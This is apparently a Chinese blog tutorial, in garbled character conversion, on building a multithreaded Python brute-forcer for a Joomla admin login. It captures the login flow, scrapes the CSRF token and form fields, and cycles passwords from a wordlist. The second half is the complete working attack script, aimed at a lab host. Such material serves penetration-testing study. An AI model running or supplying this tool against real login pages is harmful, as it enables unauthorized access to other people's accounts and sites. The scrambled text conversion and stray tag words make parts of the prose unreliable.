從零開始寫網站登陸爆破(一)

0x00簡述

本文從零開始介紹一個網站登陸爆破腳本的編寫過程,經過腳本模擬網站登陸的做用有如下幾點:
1,web類安全工具須要一個強大的爬蟲爬取目標網站的全部頁面,以確認漏洞利用點。
若是遇到須要登陸才能爬取的狀況,能夠爬蟲直接模擬登陸過程。
2,已知部分信息,爆破網站後臺,爲下一步的滲透作準備。php

關於登陸爆破在《blackhat python》這本書中有一個例子,可是我用requests和beautifulsoup作了一些修改,後續還會以此爲基礎添加更多的功能。html

0x01網站的認證過程

要模擬登陸網站就要知道網站的登陸認證過程,這裏以joomla這款開源cms爲例。
配置瀏覽器使用代理,本地127.0.0.1 8080端口,我使用了owasp zap
這款工具,其餘的工具如Burpsuite或者直接F12 均可以查看到包的信息。python

第一步,首先訪問後臺登陸頁面,抓包查看發現返回包中包含「SetCookie」響應頭,cookie此時做爲認證用戶身份的憑據,且每次訪問都會改變。web

第二步,接着POST方法提交登陸信息,一樣抓包查看
算法

能夠看到包裏的參數不僅有帳號密碼,還有token(用於防護CSRF)還有task等等。
認證的同時要抓取頁面表單的其餘input標籤的name和value。joomla的較爲簡單,網站通常不會明文傳輸用戶名和密碼,遇到這種狀況須要分析引入的js文件,模擬加密算法。瀏覽器

第三步,能夠經過代理歷史頁面看到,post請求觸發了303跳轉跳回了原url至關於又實現了一次GET請求,能夠查看到此次請求攜帶了以前設置的cookie。
到這裏網站的基本認證流程就結束了,接着咱們用工具自動化
安全

0x02HTTP方法

登陸過程當中用到了兩種方法,GET和POST方法,用reqeusts實現很簡單服務器

import requests
res_get=requests.get(url)
res_post=requests.post(url,data=data,cookies=cookies,headers=headers)

其中data屬性接收一個dict做爲post的數據,cookies和headers
請求頭均可以本身定義,將準備好的請求頭用dict封裝就能夠僞造一個firefox瀏覽器的請求
cookie

cookie處理的兩種方法
cookie值在第一次請求目標url的時候就已經設定好了
res_get.headers['Set-Cookie']讀取響應頭取出set-cookie字段解析成dict
另外一種 cookies=res.cookies 自動處理能夠直接傳入get方法中。網絡

0x03解析HTML提取參數

用到BeautifulSoup來解析html,你只須要傳入一個HTML就能隨意的處理解析它。
from bs4 import BeautifulSoup soup=BeautifulSoup(html)
要尋找全部的input標籤,將其中的name和value對應造成一個字典
soup.find_all(「input」)
將返回全部的input標籤構成的一個list,其中元素的類型是 <class 'bs4.element.Tag'>
這意味着能夠經過 tag.get("value")取出value的值,直接用tag["value"]也能夠。

0x04處理爆破用的字典

認證的過程有了,接着不過就是替換password的值而已。
咱們採用隊列的方法提供要爆破的密碼字段

import Queue
words=Queue.Queue()
words.put(word)
words.get()

借用書中的代碼

def build_wordlist(wordlist):
    fp=open(wordlist,'rb')
    raw_words=fp.readlines()
    fp.close()
    words=Queue.Queue()
    for word in raw_words:
        word=word.rstrip()
        if resume is not None:
            if found_resume:
                words.put(word)
            else:
                if word==resume:
                    found_resume=True
                    print "Resuming wordlist from : %s "%resume
        else:
                words.put(word)
    return words

這段代碼中的恢復機制不太明白,不清楚resume會在何處賦值
應對爆破過程當中目標網站掛了,或者被防火牆屏蔽的情況,咱們須要記錄下爆破的位置以便繼續爆破。

0x05多線程處理

由於python中的GIL(全局解釋鎖),解釋器同一時刻只能運行一個線程。若是是計算密集型任務多線程是不起做用的,能夠嘗試多核運行。
網絡請求操做更多的時間消耗在網絡等待服務器響應的過程當中,這樣的狀況多線程可以提高效率。

import threading 
t=threading.Thread(target=web_bruter())
t.start()

target指定線程要執行的函數
經測試速度有三倍的提高

0x06錯誤處理

應對掉網的狀況採用try except 語句捕捉錯誤
爆破中關閉服務器後,requests拋出了ConnectionError異常
捕捉這個異常,而後將一個特殊值放入隊列中使隊列中的其餘線程所有關閉

其實不用這個方法也會關閉,每一個線程都會返回一個成功或是失敗的結果

0x07完整代碼

from bs4 import BeautifulSoup
import requests as s
from requests import ConnectionError
import Queue
import sys
import threading
target_url="http://kali/joomla453/administrator/index.php"

sucess_check="Administration - Control Panel"
wordlist="cain.txt"
headers={
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Connection": "keep-alive",
    "Referer": "http://kali/joomla453/administrator/index.php",
    "Content-Type": "application/x-www-form-urlencoded",
    "Host": "kali",
}

class Bruter():
    def __init__(self,username,words):
        self.username=username
        self.password=words
        self.found=False
        self.res=s.get(target_url)
        self.password_q=words

        print "Seting up username : %s " %username

    def get_cookie(self):
        return self.res.cookies
‘’‘
    def get_cookie(self):
            cookies={}
            co=self.res.headers['Set-Cookie']
            a=co.split(';')[0].split('=')
            cookies[a[0]]=a[1]
            print "Cookie:  "+str(cookies)
            return cookies
’‘’
    def get_payload(self):
        payload={}
        html=self.res.content
        soup=BeautifulSoup(html,"lxml")
        
        tag_list=soup.find_all("input")
        for i in tag_list:
            payload[i['name']]=i.get('value')

        tag_user = soup.find_all("input",type="text")
        payload[tag_user[0]['name']]=self.username

        tag_pass = soup.find_all("input",type="password")
        pass_word=self.password_q.get()
        payload[tag_pass[0]['name']]=pass_word 
        print "Trying : %s" %pass_word+"\n"
        print "Payload: "+str(payload)
        return payload
    def web_bruter(self):
        while not self.found and not self.password_q.empty():
            try:
                a=s.post(target_url,data=self.get_payload(),headers=headers,cookies=self.get_cookie())
                p=s.get(target_url,headers=headers,cookies=self.get_cookie())
                if sucess_check in p.content:
                    print "sucess"
                    self.found = True
            except ConnectionError,e:
                print "Connection Error: %s" % e
                sys.exit()
    def run_thread(self):
        for i in range(10):
            t=threading.Thread(target=self.web_bruter)
            t.start()
resume=None
found_resume=False
def build_wordlist(wordlist):
    fp=open(wordlist,'rb')
    raw_words=fp.readlines()
    fp.close()

    words=Queue.Queue()
    for word in raw_words:
        word=word.rstrip()
        if resume is not None:
            if found_resume:
                words.put(word)
            else:
                if word==resume:
                    found_resume=True
                    print "Resuming wordlist from : %s "%resume
        else:
                words.put(word)
    return words
words=build_wordlist(wordlist)
d=Bruter("moon",words)
d.run_thread()

0x08下一步的改進方向

1,在讀取字典的時候一次都讀取了進來,若是是一個很大的字典,這樣會在開始浪費很長時間讀取,甚至程序崩潰
2,程序不夠通用,須要添加跟蹤JS加密算法的功能
3,字典中設置斷點應對中途中止的狀況,隨機字符串斷點要區別於字典中的字符串,或者是位置斷點更方便定位

0x09參考文章

《blackhat python》 《python cookbook》

相關文章
相關標籤/搜索